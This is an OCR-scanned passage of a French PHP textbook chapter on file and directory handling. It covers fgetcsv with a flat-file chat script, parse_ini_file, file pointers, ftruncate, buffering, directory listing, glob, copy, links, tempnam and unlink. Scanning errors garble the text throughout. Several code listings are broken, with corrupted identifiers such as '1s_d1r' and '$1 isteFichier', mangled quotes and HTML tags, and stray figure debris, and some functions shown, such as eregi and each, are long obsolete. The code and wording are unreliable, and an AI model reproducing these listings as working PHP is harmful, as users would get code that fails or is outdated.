l'exportation des donnees. Ce format est constitue de lignes comportant differentes valeurs 
separees par un delimiteur (a l'origine une virgule, mais generalement un point-virgule pour les 
versions franchises). Chacune des lignes du fichier represente alors une iigne d'un tableau, et 
chacune des valeurs, une donnee d'un champ de ce tableau. Void un exemple de fichier CSV : 

Laurent;GUEDON;http://www.tild.com;Societe de developpement 
Pierre- Emmanuel ;MULLER;http: //pern. 1 evil lage.org; Journal isme 
Thomas;HEUTE;http://www.toutestfacile.com;Le site pour apprendre 
Damien;HEUTE;http://www.ootoogo.com;Le portail du Tourisme et des Loisirs 

L'importation dans un tableau de type Excel ou Gnumeric donne un tableau de la forme 
ci-dessous (voir fig. 9.3) : 

L'instruction f getcsv ( ) permet de lire aisement ce type de fichier. Nous allons nous en servir 
pour recuperer notre fichier de messages (il suffira d'indiquer que le delimiteur n'est pas une 
virgule mais une tabulation). 
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Figure 9.3 : Un tableau Excel apres importation des donnees dufichier CSV 



fgetcsvQ 



Lit une ligne d'un fichier et retourne un tableau contenant les differents champs CSV. 

Syntaxe array fgetcsv(resource $fp, int $nbOctet [, string 

$del imiteur]) 

$fp Identifiant sur un fichier ouvert a l'aide de l'instruction fopen(), 

f sockopen ( ) ou popen ( ) . 

$nbOctet Nombre d'octets qui doivent etre lus au maximum. 

$delimiteur Caractere delimitant chacune des donnees (par def aut, le delimiteur est la 

virgule). 

retour Retourne un tableau contenant les differentes donnees d'une ligne du 

fichier CSV. Lorsque la fin du fichier est atteinte, la fonction retourne 

FALSE. 

Et voila ! Cette fonction est particulierement bien adaptee a notre systeme de discussion. 

Listing 9.10 : chat.php 

<?php 

// Verifie que les donnees sont bien postees 

if($_POST["message"] && $_POST["pseudo"]) 

{ 

// Ouverture du fichier en ecriture (mode ajout) 

$fp = fopen("message.txt", "a+"); 

// Recuperation de l'heure 

$heure = date( ' H:m: s ' ) ; 

// Ecriture de l'heure et d'une tabulation 

fwrite($fp, $heure. "\t") ; 

// Ecriture du pseudo et d'une tabulation 



/* 



On utilise l'instruction html Entities afin de 
convertir les caracteres speciaux dans leur entite 
HTML 



7 

fwrite($fp, html Entities($_POST ["pseudo"] )."\t"); 
// Ecriture du message 

fwrite($fp, htmlEntities($_POST["message"])."\n"); 
// On ferme le fichier. 
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fclose($fp) ; 

} 

?> 

<html> 

<title>Ecrire des messages dans un fichier</title> 

</head> 

<body> 

<table border="0" width="100%"> 

<?php 

// Affiche les messages 

$fp = fopen("message.txt", "r") ; 

while($donnee = fgetcsv($fp, 255, "\t")) 

{ 

echo "<tr>"; 

echo " <tdxfont color='#0000ff '>"; 

echo $donnee[0] ; 

echo " </fontx/td>"; 

echo " <tdxb>"; 

echo $donnee[l] ; 

echo " </bx/td>"; 

echo " <td>"; 

echo $donnee[2] ; 

echo " </td>"; 

echo "</tr>"; 

} 

fclose($fp); 
?> 

</table> 
<hr /> 

<table border="0" width="100%"> 
<tr> 

<form method="post"> 
<td width="600"> 
pseudo: 
<input type="text" name="pseudo" 

value="<?php html Entities ($_POST["pseudo"]) ;?>" 
size="20" maxlength="20"> 
message: 

<input type="text" name="message" size="40" maxlength="255"> 
<input type="submit" name="envoyer" VALUE=">>"> 
</td> 
</form> 

<td> </td> 
</tr> 
</body> 
</html> 
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- 1 


15:07:48 


Laurent 


C'est bon, je suis enfin en vacances ! 




15:07:50 


Damien 


Nonrnais tureves,.. tu as un chapitre arendre ! 




1 15:07:49 


Pern 


Hi hi hi... :) 




j 15:07:48 


Laurent 


Groupf... Je vais devoir y passer lanuit la ! 




I 15:07:49 


Thomas 


Tudevrais faire cornme rnoi. 




1 15:07:00 


Thomas 


Des jours que je ne dors plus ! 




; 15:07:10 


Thomas 


Ivlon secret ? Lacafeine ! 




pseudo: |~ 












message: | 


d 












^Sk s& 


Document : Termine (1 .577 s) 


l-j^d" 



Figure 9.4 : 

Void le systeme de 
discussion qu 'il ne vous 
reste plus qu'a 
perfectionner 



Lecture des fichiers .ini 

L'installation d'un logiciel ou d'une application necessite la creation d'un certain nombre de 
parametres dependant de 1'utilisateur ou de l'environnement. II est courant de stocker ces 
informations dans un fichier du type monFichier.ini. Le fichier de configuration php. ini est un 
bon exemple de ce genre de configuration. Celui-ci contient alors, sous un format bien 
specifique, differentes donnees, regroupees par section, qui peuvent etre exploitees par la suite. 
Le fichier se presente de la fagon suivante : 

; Quelques lignes de commentaires. 

; Le parseur ne les prendra pas en compte. 

[sectionl] 

utilisateur = 3 
administrateur = 1 
;rien = rien 

[section2] 

titre = Mon application 

url = http://www.tild.com 

[section3] 

fichier = parse_ini_file.php 

chemi n = /home/e-smi th/f i 1 es/i bays/kangouroo/html /bi bl e/f i chi er 

droit = 755 

Le langage PHP possede une fonction permettant de traiter les fichiers de ce type et d'en 
extraire les elements qui le composent. L'instruction parse_ini_fiie() retourne les 
differentes donnees dans un tableau associatif. Vous pouvez recuperer un tableau sur deux 
niveaux comportant, dans le premier niveau, les differentes sections et, dans le second, les 
attributs et leurs valeurs. 
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parse_ini_file() 



Retourne les differents elements composant un fichier du type .ini et forme un tableau 
associatif. 

Syntaxe array parse_ini_file(string $nomFichier [, boolean 

$traiteSection]) 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants en 

donnant une URL en parametre. 

$traiteSection TRUE si vous souhaitez que les donnees de chaque section soient 
regroupees dans des tableaux, FALSE (par defaut) sinon. 

retour Selon les cas : 

Un tableau associatif ayant pour cles les noms des sections et pour valeur 

un tableau associatif ayant lui-meme pour cle le nom du parametre et pour 

valeur la valeur associee si $traiteSection=TRUE. 

Un tableau associatif ayant pour cles les noms des parametres (toutes 

sections confondues) et pour valeur la valeur associee si 

$traiteSection=FALSE. 

Listing 9.11 : parsejnifile.php 

<html> 
<head> 

<title>Lecture d'un fichier CSV</title> 
</head> 
<body> 
<table border="l" eel 1 paddi ng=" 1" cellspacing="0"> 

<tr> 

<td colspan="2"> 
<?php 

echo "Affichage des donnees sans les differentes sections."; 
echo " </td>"; 
echo "</tr>"; 

$tableaulni = parse_ini_file("emma.ini ") ; 
while (list($key, $val) = each($tableaulni)) { 
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echo 


'<tr>"; 


echo 


1 <td>"; 


echo 


'$key"; 


echo 


1 </td>"; 


echo 


1 <td>"; 


echo 


'$val"; 


echo 


1 </td>"; 


echo 


'</tr>"; 



</table> 
<br /> 

<table border="l" cellpadding="l" eel lspacing="0"> 
<tr> 
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<td colspan="2"> 
<? 

echo "Affichage des donnees avec les differentes sections."; 
echo "<br />"; 
echo " </td>"; 
echo "</tr>"; 

$tableaulni = parse_ini_file("emma.ini ", TRUE); 
while (1 ist($section, $tableauPar) = each($tableaulni)) { 



echo 


'<tr>"; 




echo 


1 <td colspan='2' 


>"; 


echo 


' <b>" .$section.' 


</b>" ; 


echo 


' < 


/td>"; 




echo "</tr>"; 




while (li; 


>t($key, $val) 


= eac 


echo 


<tr>"; 




echo 


<td>"; 




echo 


$key"; 




echo 


</td>"; 




echo 


<td>"; 




echo 


$val"; 




echo 


</td>"; 




echo 

} 


</tr>"; 




} 
?> 






</table> 






</body> 






</html> 









each($tableauPar)) { 
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Affichage 4es donne in r i nl s sections. 




lutilisateur 


3 


administrateur 


1 


| titre 


Mon application 


url 


http://www.tiid.com 


1 fichier 


parse_ini_file.php 


| chemin 


/ho me/e-s m ith/f i ies/ita ays/kango ur oo/ht rn 1/b ib le/f ichier 


J droit 
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Affichage des donnees avec us sections. 




sectionl 


\ utilisateur 


3 


\ adrainistrateur 


1 


section2 


titre 


Ivlon application 


| url 


http://www.tiid.com 


| section3 


| fichier 


parse_ini_file.php 


cherain 


/home/e-srfiith./fiies/ibays/kangouroo/ht ml/bib le/f ichier 


droit 


755 






^ \& Document : Termine ( 1 .209 s) -;]> rf 



Figure 9.5 : 

Leresultatde 
traitement du fichier 
emma.ini 
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Positionner le pointeur de lecture/ecriture 

Lorsque Ton desire lire les donnees contenues dans un fichier, elles sont dans un premier temps 
copiees dans un espace memoire (buffer). On dit que le mode de lecture est "bufferise". Une 
fois le fichier ouvert, un pointeur de lecture se place automatiquement au debut de ce fichier, 
chacun des appels a une instruction de lecture faisant avancer ce pointeur. L'avancee de ce 
pointeur peut etre controlee par trois fonctions qui sont f eof ( ) , f seek ( ) ou rewind ( ) . La 
premiere instruction permet de determiner si la fin du fichier ouvert est atteinte. La seconde 
instruction repositionne le pointeur de lecture (ou d'ecriture) a une position specif ique. Quant 
a la derniere fonction, elle renvoie le pointeur au debut du fichier. 
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feof() 



Determine si la fin du fichier est atteinte. 

Syntaxe boolean f eof (resource $fp) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) ou popen ( ) . 

retour Retourne TRUE si le pointeur est a la fin du fichier, FALSE dans le cas 

contraire. 

<?php 

$fp = fopen("data.txt", "r"); 
// Traitements divers 
if (feof($fp)) 

{ 

echo "Fin du fichier. <br />"; 

} 

fclose($fp); 

?> 

Vous pouvez connaitre la position courante du pointeur a l'aide la fonction f tell ( ) . 



ftell() 



Retourne la position courante du fichier. 

Syntaxe int ftel 1 (resource $fp) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(; 

tmpf ile ( ) , f sockopen ( ) ou popen ( ) . 

retour Retourne la position courante du pointeur de lecture/ecriture. 

<?php 

$fp = fopen("data.txt", "r"); 
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echo "Position courante : " .ftell ($fp) ; 

fclose($fp); 

?> 



fseek() 



Deplace le pointeur de lecture/ecriture d'un fichier a une position specifique. 

Syntaxe int fseek(resource $fp, int $offset [, $origine]) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) ou popen ( ) . 

$offset Nombre indiquant le deplacement en octets (positif ou negatif) par 

rapport a l'origine selectionnee. 

$ o r i g i n e Indique a partir de quel endroit doit etre compte le deplacement. Au choix : 

SEEK_SET ( = 0) a partir du debut du fichier. 

SEEK_CUR ( = 1) a partir de la position courante du pointeur (valeur par 
defaut). 

SEEK_END ( = 2) a partir de la fin du fichier. 

retour en cas de succes, et-1 en cas d'erreur.. 

II est a noter qu'un deplacement positif a partir de la fin du fichier n'entraine pas d'erreur. En 
effet, deplacer un pointeur au-dela de EOF est possible. 

Listing 9.12 : fseek.php 

<?php 

echo "taille : ".filesize("message.txt") ; 

// Affiche la taille du fichier en octets 

echo "<br />"; 

$fp = fopen("message.txt","r") ; 

fseek($fp, 20, SEEK_SET); 

echo "Position par rapport au debut du fichier (0+20) : "; 

echo ftell ($fp)."<br />"; 

fseek($fp, 20, SEEK_CUR) ; 

echo "Position par rapport a la position courante (20+20) : "; 

echo ftell ($fp)."<br />"; 

fseek($fp, 20, SEEK_END); 

echo "Position par rapport a la fin du fichier (Fin+20 ): "; 

echo ftell ($fp)."<br />"; 

fclose($fp); 
?> 
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pourrait retourner un resultat du genre : 

taille : 190 

Position par rapport au debut du fichier (0+20) : 20 

Position par rapport a la position courante (20+20) : 40 

Position par rapport a la fin du fichier (Fin+20 ): 210 



J\ Le pointeur de lecture I ecriture 

^^^ Si vous ouvrez le fichier a I'aide de I'instruction fopen ( ) avec le mode "a" ou "a+" 
ATTENTION (oiiverture pour ajout de donnees), le pointeur est systematiquement place a lafindu 
fichier. 
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rewind () 



Repositionne le pointeur de lecture/ecriture au debut du fichier. 

Syntaxe boolean rewind (resource $fp) 

$fp Identifiant sur un fichier ouvert a I'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) oupopenf). 

retour TRUE si l'operation s'est deroulee sans probleme, et FALSE si le pointeur 

n'a pas pu etre repositionne. 

<?php 

$fp = fopen("message.txt", "r"); 
// Traitements divers 
if (rewind($fp)) 
{ 

echo "Le pointeur du fichier a ete repositionne au debut"; 

echo "<br />"; 

} 

fclose($fp); 

?> 



Tronquer un fichier 

Une fonction particuliere permet de tronquer les fichiers qui ont ete ouverts en mode ecriture. 
Le langage PHP permet de recuperer une partie des informations contenues dans un fichier et 
de les reecrire en supprimant le reste des donnees. L'instruction f truncate ( ) ne fonctionne 
que dans le cas ou le fichier a ete ouvert en ecriture, c'est-a-dire les modes ecriture seule (V, 
'a'), lecture et ecriture (W, 'a+'). 
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ftruncate() 



Tronque un fichier (i.e. ne conserve que les premiers octets du fichier). 

Syntaxe int ftruncate(resource $fp, int $taille) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) ou popen ( ) . 

$ t a i 1 1 e Nouvelle taille du fichier. 

retour 1 (mais pas strictement TRUE) si le fichier a bien ete tronque, (mais pas 

strictement FALSE) sinon. 

Imaginons le contenu d'un fichier dedicace.txt. 

Je dedicace ce livre a tous mes amis 

Et plus parti cul ierement a Myriam si adorable. 

A Ami el pour son soutien et ses competences. 

A Damien pour savoir botter le cul quand il le faut. 

A Thomas pour son calme a faire passer un bouddha pour un rocker sous ecsta. 

Ce fichier est bien trop long et nous ne voulons conserver que les deux premieres lignes. La 
principale difficulty consiste done a determiner la nouvelle taille que nous souhaitons donner a 
ce fichier. Pour cela, il suffit de lire les deux premieres lignes, et de determiner quelle est la 
position atteinte par le pointeur de fichier (grace a f tell ( ) ). Cette position correspondra a la 
taille voulue. 

Listing 9.13 : ftruncate.php 

<?php 

// Ouvre un fichier texte en mode lecture et ecriture 

if ($fp = fopen("dedicace.txt", "r+")) 

{ 

// Lecture des deux premieres lignes 

fgets($fp, 255); 

fgets($fp, 255); 

// On tronque a une taille egale 

// a la position courante du pointeur de 

// lecture 

ftruncate($fp, ftell($fp)); 

// Fermeture du fichier 

fclose($fp); 

// Affichage du fichier une fois tronque 

readfile("dedicace.txt") ; 
} else { 

echo "Impossible d'ouvrir le fichier dedicace."; 

} 
?> 
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Ce qui donnera le resultat suivant : 

Je dedicace ce livre a tous mes amis 

Et plus parti culierement a Myriam si adorable. 

Gestion de l'espace tampon 

L'ecriture dans un fichier est effectuee en deux temps. Les donnees sont d'abord copiees vers 
un buffer (espace memoire) et sont ensuite ecrites sur le fichier ouvert. Ce systeme de 
bufferisation permet de gagner du temps, car les appels systeme se font plus rares. Imaginons 
que Ton desire ecrire dans un fichier 20 lignes de 200 caracteres. II faudra alors normalement 
20 appels systeme pour ecrire la totalite des donnees dans le fichier. L'utilisation du buffer 
permet d'ecrire une seule fois les 4 000 (20*200) caracteres, c'est-a-dire que le programme ne 
fait appel qu'une fois au systeme d'exploitation, et ne sollicite qu'une fois le disque dur pour 
ecrire dans le fichier. Le langage PHP possede, par defaut, un buffer de 8 Ko, mais il est 
possible de lui fixer une autre taille avec l'instruction set_file_buffer(). II peut etre 
particulierement interessant d'augmenter cette valeur si votre script doit traiter des fichiers de 
ires grande taille. Depuis PHP 4.3, l'instruction stream_set_write_buf f er ( ) remplace cette 
fonction. set_f ile_buf f er ( ) demeure un alias pour des raisons de retro-compatibilites. 



stream_set_write_buffer () 



Fixe la taille du buffer. 

Syntaxe int stream_set_write_buffer(ressource $fp, int $tai lie) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) oupopen(). 

$ t a i 1 1 e Nouvelle taille du buffer. 

retour si l'instruction se deroule convenablement, EOF dans le cas contraire. 

Du fait de la presence de ce systeme de cache, les donnees ecrites dans un fichier ne sont pas 
toujours disponibles immediatement (pour les scripts cherchant a en lire le contenu). Les 
donnees ne seront effectivement accessibles qu'une fois le buffer vide (ce qui intervient 
automatiquement des qu'il est plein ou manuellement lorsque vous appelez la fonction 

fflushO). 

Notez egalement que le buffer est automatiquement vide lors de l'appel a fcloseO. A 
contrario, si vous quittez l'execution de votre programme sans faire appel a f close ( ) , vous 
courez le risque de perdre les donnees restant dans le cache. 



fflushO 

Ecrit et vide le buffer d'un fichier. 

Syntaxe boolean f flush (resource $fp) 
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$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) oupopen ( ) . 

retour Retourne TRUE si le buffer a ete vide dans le fichier, ou FALSE dans le cas 

contraire. 

Listing 9.14 : fflush.php 

<?php 

$fp = fopen("twiki .txt", "w"); 

if ($fp) { 

// Les donnees seront ecrites tous les 500 octets 

set_file_buffer($fp, 500); 

// Cette phrase fait moins de 500 octets 
// el 1 e n'est done pas immediatement ecrite 
fputs($fp, "Bidibidibidi comme dirait Twiki."); 

// Mais qu'a cela ne tienne. Nous allons forcer l'ecriture 
fflush($fp); 

// Cette phrase attendra fclose() pour etre ecrite 
fputs($fp, "Glop Glop comme dirait Pifou."); 



} 
?> 



fclose($fp); 



Lister le contenu d'un dossier 

Nous avons vu que, pour visualiser le contenu d'un fichier, il suffit de l'ouvrir et d'obtenir ainsi 
un pointeur vers ce fichier. L'ouverture d'un repertoire est similaire a celle d'un fichier. Vous 
creez, a l'aide de la fonction openDir ( ) , un identifiant, qui vous permet par la suite de lire ce 
dossier a la facon d'un fichier. 



openDir () 

Ouvre le repertoire designe et retourne un pointeur dessus. 

Syntaxe resource openDir (string $chemin) 

$ c h em i n Chemin du dossier a ouvrir. 

retour Pointeur sur le dossier ouvert. 

Ne pas oublier de fermer le dossier a l'aide de l'instruction closeDir ( ) . 
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closeDirQ 



Fermer un dossier prealablement ouvert avec la fonction openDir ( ) . 

Syntaxe void closeDir(resource $repertoire) 

$repertoi re Pointeur sur un dossier ouvert avec l'instruction openDir ( ) . 

<?php 

// Ouverture du dossier parent "/ monre P er ' t oire" 

$repertoire = openDir("/™nrepertoire") ; 

// Placer les differents traitements a effectuer 

// ••• 

// Fermeture du dossier 

closeDir($repertoire) ; 
?> 

Une fois un pointeur obtenu sur le repertoire, il suffit, pour lister le contenu d'un dossier, de 
faire appel a la fonction readDir ( ) . Le pointeur de lecture se place au debut du repertoire et 
chacun des appels a la fonction readDir ( ) le fait avancer sur l'entree suivante, a savoir le nom 
du fichier ou repertoire suivant. De proche en proche, il est ainsi possible de lire la totalite du 
contenu d'un dossier. 



readDir () 

Lecture des entrees dans un dossier. 

Syntaxe string readDir(resource $repertoire) 

$repertoi re Pointeur sur un dossier ouvert avec l'instruction openDir ( ) . 

retour Retourne le nom du fichier designe par le pointeur de lecture. 

Ainsi, pour afficher le contenu d'un repertoire, nous pouvons utiliser la fonction suivante : 

Listing 9.15 : readdir.php 

<?php 

// La fonction d 1 exploration 

function explorer($chemin) { 

$repertoire = openDir($chemin) ; 

while ($fichier = readDir($repertoire)) { 

// Inutile d 1 afficher les entrees . et . . 
if (($fichier != ".")&&($fichier != "..")) { 
// n'oublions pas d'ajouter 
// le chemin au nom du fichier 
echo $chemin."/"-$fichier<br />"; 
} 
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// C'est fini. On ferme ! 
closeDir($ repertoire) ; 



// Definition du chemin a explorer 
$cheminRep = "."; 

// L'appel a la fonction 
explorer($cheminRep) ; 
?> 

qui pourrait donner : 

./fichierO.php 
./fichierl.php 
./fichier2.php 
./repertoire 

Nous pouvons, de plus, imaginer que tous les sous-repertoires soient listes, permettant ainsi 
d'avoir la liste complete des fichiers contenus dans le dossier courant. Pour cela, nous allons 
utiliser les proprietes de recursivite du langage PHP. Nous devrons en outre etre capables de 
distinguer les repertoires des fichiers. Pour cela, nous devrons faire appel a la fonction 
is_dir() qui indique s'il s'agit d'un repertoire. Et, enfin, afin de distinguer le parcours du 
repertoire du traitement du contenu, nous retournerons un tableau contenant les noms des 
fichiers. 

Listing 9.16 : readdirrecursif.php 

<?php 

// La fonction d 1 exploration 
function explorer($chemin, $recursif=FALSE) { 
$1 i steFi chier = array(); 

$repertoire = openDir($chemin) ; 

while ($fi chier = readDir($repertoire)) { 

// Inutile de tenir compte des entrees . et . . 
if (($fichier != ".")&&($fichier != "..")) { 
// Est-ce que $file est un repertoire ? 
// Pour le savoir il suffit d 1 appel er is_dir 
// mais attention n'oublions pas d'ajouter 
// le chemin au nom du fi chier 
if (is_dir($chemin.7".$fichier)&&($recursif)) { 
// oui ? alors explorons-le 

// et ajoutons le resultat a la liste de fichiers 
$listeFichier = array_merge($listeFichier, 

explorer ($chemin. "/".$fi chier, 
$recursif)) ; 
} else { 

// sinon, c'est un fichier et on l'ajoute 
// a la liste des fichiers 
$listeFichier[] = $chemin."/" .$fichier; 
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} 



} 



// C'est fini. On ferme ! 
closeDir($repertoire) ; 
// et on retourne le resultat 
return $1 isteFichier; 



// Definition du chemin a explorer 
$cheminRep = "../."; 

// L'appel a la fonction 

$fichiers = explorer($cheminRep, TRUE); 

// Affichage (a titre demonstratif) 

for ($i=0; $i<count($fichiers) ; $i++) echo $fichiers[$i] ."<br />"; 

?> 

Ce script aisement reutilisable retournera done quelque chose comme : 

./fichierO.php 
./fichierl.php 
./fichier2.php 
. /repertoi re/f i chi erO. php 
. /repertoi re/f i chi erl . php 
. /repertoi re/f i chi er2 . php 
. /repertoi re/f i chi er3 . php 
. /repertoi re/f i chi er4 . php 

Dans certains cas, comme la galerie d'images (un grand classique), il faut filtrer les noms des 
fichiers (generalement d'apres leur extension). Nous allons done perfectionner encore notre 
fonction pour preciser une expression reguliere a laquelle doit repondre le nom du fichier. Une 
fois la liste des fichiers recuperee, il suffira d'afficher les images. 

Listing 9.17 : readdirjiltre.php 

<?php 

// La fonction d 1 exploration 

// $chemin : Repertoire a explorer 

// $recursif : TRUE si 1 'exploration doit etre recursive 

// $filtre : Expression reguliere de filtrage des fichiers 

function explorer($chemin, $recursif=FALSE, $fil tre=NULL) { 
$1 isteFichier = array(); 

$repertoire = openDir($chemin) ; 

while ($fichier = readDir($repertoire)) { 

// Inutile de tenir compte des entrees . et . . 
if (($fichier != ".")&&($fichier != "..")) { 
// Est-ce que $file est un repertoire ? 
// Pour le savoir il suffit d'appeler is_dir 
// mais attention n'oublions pas d'ajouter 
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// le chemin au nom du fichier 
if (1s_d1r($chemin."/".$fichier)&&($recurs1f)) { 
// oui ? alors explorons-le 

// et ajoutons le resultat a la liste de fichiers 
$listeFichier = array_merge($l isteFichier, 

explorer ($chemin."/" .$fichier, 
$recursif, $filtre)); 
} else { 

// sinon, c'est un fichier et s'il repond 

// aux criteres de 1 'expression reguliere 

// on l'ajoute a la liste des fichiers 

if (is_null($filtre) | |eregi($filtre, $fichier)) { 

$1 isteFichier[] = $chemin."/".$fichier; 
} 
} 
} 
} 

// C'est fini. On ferme ! 
cl oseDi r ($repertoi re) ; 
// et on retourne le resultat 
return $1 isteFichier; 



// Definition du chemin a explorer 
$cheminRep = "../."; 

// L'appel a la fonction 

$fichiers = explorer($cheminRep, TRUE, ".gif | . jpg| .png") ; 

// Affichage (a titre demonstratif) 
echo "<htmlxbody>"; 
echo "<table width='100%' border='0'>"; 
for ($i=0; $i<count($fichiers) ; $i++) { 

// 5 images par ligne 

if ($i%5 == 0) echo "<trx/td>"; else echo "<td>"; 

echo "<img src=' ".$fichiers[$i] ."'xbr />"; 

if (($i+l)%5 == 0) echo "</tdx/tr>\n"; else echo "</td>"; 

} 

echo "</table>"; 

echo "</bodyx/html>"; 

?> 
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Figure 9.6 : Notre galerie d'images 



ASTUCE 



L 'ordre des fichiers 

Vous pouvez observer que la liste des fichiers n'est pas donnee dans I'ordre 
alphabetique. Si vous voulez ordonner cette liste, il vous suffit d'appliquer la fonction 
sort ( ) au tableau. 



Dans les exemples precedents, nous avons opte pour une solution retournant la liste des fichiers 
dans un tableau. Cette methode peut necessiter beaucoup de memoire si la liste est longue. Une 
autre solution aurait pu consister a ajouter a la fonction un parametre permettant de preciser 
le nom d'une fonction a appeler des qu'un nouveau fichier est rencontre. 

Pointeur de lecture du repertoire 

Lors de la lecture du contenu du dossier, vous pouvez deplacer le pointeur a la premiere entree 
a l'aide de l'instruction rewindDir ( ) . 
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rewindDir() 



Deplace le pointeur de lecture du dossier a la premiere entree. 

Syntaxe void rewindDir (resource $repertoire) 

$repertoi re Pointeur sur un dossier ouvert avec l'instruction opendir ( 

<?php 

$repertoire = openDir("./") ; 
while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 

} 

// Affichage de la liste des fichiers du dossier. 

while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 

} 

// Le programme n'affiche rien. 

// On deplace le pointeur sur la premiere entree 
rewindDir($repertoire) ; 

while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 

} 

// Affichage de la liste des fichiers du dossier. 

closeDir($repertoire) ; 

?> 



Rechercher un fichier dans un repertoire 

Depuis la version 4.3 du langage PHP il est possible d'effectuer directement des recherches de 
fichier a l'aide de la fonction glob ( ) . Ainsi, la fonction openDir ( ) peut etre avantageusement 
remplacee par glob ( ) lorsqu'il est necessaire de lister le contenu d'un repertoire en utilisant un 
filtre (masque). 



glob() 

Retourne les fichiers verifiant un masque. 



Syntaxe: array glob(string $masque [, int $param]) 

$masque Masque permettant de filtrer les fichiers a retourner. 

$param Option affectant le resultat : 

GLOB_MARK : Ajoute un slash (caractere /) a la fin de chaque repertoire. 
GLOB_NOSORT : Indique de ne pas utiliser l'ordre alphabetique pour 
retourner les resultats. 
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GLOB_NOCHECK : Retourne le masque si aucun fichier ne correspond au 

masque $masque. 

GLOB_NOESCAPE : Enleve les anti-slash devant les meta-caracteres 

comme l'espace. 

GLOB_BRACE : utilise la formulation {a, b, c} pour rechercher dans le 

masque les chaines a, b ou c. 

GLOB_ONLYDlR : Ne retrourne que les repertoires. 

retour Retourne un tableau contenant la liste des resultats. En cas d'erreur, la 

fonction retourne FALSE. 



<?php 
/* 
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Repertoire contenant les fichiers emma.txt, damien.txt, 
laurent.txt, thomas.txt, pem.txt 
et les repertoire bible et php. 

print_r(glob("p*")) ; 

pri nt_r (gl ob ( "p*" , GL0B_MARK) ) ; 

pri nt_r (gl ob ( "p*" , GL0B_N0S0RT) ) ; 

pri nt_r (gl ob ( "*nux" , GL0B_N0CHECK) ) ; 

print_r(glob("{la,da,th}*.txt", GLOB_BRACE)) ; 

print r(glob("*", GLOB ONLYDIR)); 



?> 
Array 



[0] => pem.txt 
[1] => php 



Array 



[0] => pem.txt 

[1] => Php/ 

Array 

[0] => php 

[1] => pem.txt 

Array 

[0] => *nux 

Array 

[0] => laurent.txt 

[1] => damien.txt 



525 



Chapitre 9 La gestion des fichiers et des repertoires 



CO 






CD 


CO 




■o 


CD 


CO 


t= 


TO 


CD 


o 








CD 


'o 


to 


CO 


*^ 


CD 


1— 


CD 

a. 


S3) 


CD 


CO 


E 


'CD 


_l 




^ 


O) 







[2] => thomas.txt 

) 
Array 

( 

[0] => bible 
[1] => php 

) 



Manipulation de fichiers et repertoires 

Maintenant que nous avons une liste de fichiers, nous pouvons nous interesser a la 
manipulation de ces fichiers. Le langage PHP possede une liste de fonctions qui vont nous 
permettre de copier, renommer, supprimer ou meme creer des liens symboliques sur les 
fichiers. 

Dans un premier temps, interessons-nous a la copie de fichier. L'instruction copy ( ) permet a 
votre programme d'acceder au systeme de fichier, et de copier le fichier designe vers le dossier 
et sous le nom que vous aurez decide. 



copy() 



Copie un fichier. 

Syntaxe 

$source 

$destination 

retour 



boolean copy(string $source, string $desti nation) 

Chemin vers le fichier source a copier. 

Chemin de destination du fichier. 

Retourne TRUE si le fichier a bien ete copie, FALSE sinon. 



<?php 

copyC'emma. jpg" , " . ,/emma. jpg") ; 

// Cet exemple copie le fichier emma.jpg 

// vers le dossier en dessous 

?> 

Le langage PHP possede deux instructions link() et symlink() qui permettent 
respectivement de creer un lien dur ou un lien symbolique sur un fichier. 



link() (non disponible sous Windows) 



Creer un lien dur sur un fichier. 

Syntaxe boolean 1 ink(string $nomFichier, string $nomLien) 
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$nomFi chi er Le nom du fichier sur lequel le lien doit etre cree. 

$ n om L i e n Le nom du lien a creer. 

retour TRUE si le lien a bien ete cree, FALSE dans le cas contraire (avec un 

message de type "warning" sous Windows). 

<?php 

if (1 i nk ( "/home/1 aurent/emma.png","/home/clamien/enima.png") { 

echo "Le lien a bien ete cree."; 
} else { 

echo "Le lien n'a pas ete cree."; 
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symLinkQ (non disponible sous Windows) 



Creer un lien symbolique sur un fichier. 

Syntaxe boolean symLink(string $nomFichier, string $nomLienSymb) 

$nomFi chi er Le nom du fichier sur lequel le lien doit etre cree. 

$nomLi enSymb Le nom du lien symbolique a creer. 

retour TRUE si la fonction n'a pas rencontre de probleme, FALSE sinon (avec un 

message de type "warning" sous Windows). 

<?php 

if (syml ink( "/home/1 aurent/emma.png","/home/damien/emma.png") { 

echo "Le lien symbolique a bien ete cree."; 
} else { 

echo "Le lien symbolique n'a pas ete cree."; 
} 
?> 

Les programmes exploitant les fonctions de manipulation de fichiers doivent souvent utiliser 
des fichiers temporaires. II est en effet souvent interessant de creer des fichiers tampons afin de 
stocker les donnees temporairement. La fonction tempNam ( ) permet cette manipulation en 
creant, sur un repertoire, un fichier possedant un nom unique. 



tempNamQ 



Creer un fichier temporaire dans un repertoire fourni en parametre. 

Syntaxe string tempNam(string $dossier, string $prefixe) 

$dos s i er Dossier ou doit etre cree le fichier temporaire. Si le nom du dossier est mis 

a NULL, le fichier sera cree dans le repertoire temporaire du systeme 
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(depend de la configuration mais, generalement, /tmp sous Linux et 
C:\windows\temp\ sous Windows). 

$pref i xe Prefixe du nom de fichier a creer (permet de distinguer plus simplement 

les fichiers temporaires des autres). Si vous ne souhaitez pas en preciser, 
mettez cette valeur a NULL. 

retour Le nom du fichier qui a ete cree. Si une erreur est survenue, FALSE sera 

renvoye. 

<?php 

$nomTemporaire = tempNam(NULL, "php_"); 

echo "Le fichier ".$nomTemporaire." vient d'etre cree."; 

?> 

La manipulation de fichiers suppose aussi la possibility de supprimer. L'instruction unlink( ) 
efface definitivement un fichier (ou un lien) du disque. 



unlink () 



Destruction d'un fichier ou d'un lien sur un fichier (pour les repertoires voir rmdir ( ) ). 

Syntaxe boolean unl ink(string $nomFichier) 

$nomFi chi er Nom et chemin d'acces du fichier a supprimer. 

